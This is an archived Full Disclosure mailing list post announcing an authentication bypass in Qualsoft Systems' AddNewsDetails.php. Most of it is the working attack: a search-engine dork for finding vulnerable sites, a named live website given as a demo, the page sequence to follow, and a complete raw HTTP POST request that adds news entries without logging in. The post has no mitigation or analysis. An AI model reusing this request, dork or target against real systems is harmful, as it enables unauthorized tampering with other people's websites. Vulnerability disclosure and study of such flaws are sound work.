Full Disclosure mailing list archives
Qualsoft Systems - (AddNewsDetails.php) Auth ByPass Vulnerability
From: ZoRLu Bugrahan <zorlu () milw00rm com>
Date: Thu, 19 Nov 2015 19:20:37 +0200
#Title : Qualsoft Systems - (AddNewsDetails.php) Auth ByPass Vulnerability
#Author : ZoRLu / zorlu () milw00rm com #Blog : z.milw0rm.info #Twitter : @milw00rm #Test : Windows7 Ultimate #Discovery : 19/11/15 #Publish : 19/11/15#Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com, cxsecurity.com and others
#BkiAdam : B3mB4m, Dr.Ly0n, KnocKout, LifeSteaLeR #Dork : intext:Powered by Qualsoft Systems Pvt. Ltd#Other : https://www.milw00rm.com/exploits/11505 / Iran Cyber Security Group
#demo : http://www.dnyanada.net/ firt you go here: localhost/AddNewsDetails.php after you go here: localhost/EditDeleteNews.php and you will see your new entry but no any title or other details POST /AddNewsDetails.php HTTP/1.1 Host: www.dnyanada.netUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr,fr;q=0.8,tr-TR;q=0.6,en-US;q=0.4,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://www.dnyanada.net/AddNews.php Connection: keep-aliveContent-Type: multipart/form-data; boundary=---------------------------24284390712412
Content-Length: 602 -----------------------------24284390712412\r\n Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n \r\n 2048000\r\n -----------------------------24284390712412\r\n Content-Disposition: form-data; name="title"\r\n \r\n Testttttt\r\n -----------------------------24284390712412\r\n Content-Disposition: form-data; name="userfile"; filename=""\r\n Content-Type: application/octet-stream\r\n \r\n \r\n -----------------------------24284390712412\r\n Content-Disposition: form-data; name="desc"\r\n \r\n t\r\n -----------------------------24284390712412\r\n Content-Disposition: form-data; name="albumlink"\r\n \r\n 0\r\n -----------------------------24284390712412--\r\n _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Current thread:
- Qualsoft Systems - (AddNewsDetails.php) Auth ByPass Vulnerability ZoRLu Bugrahan (Nov 19)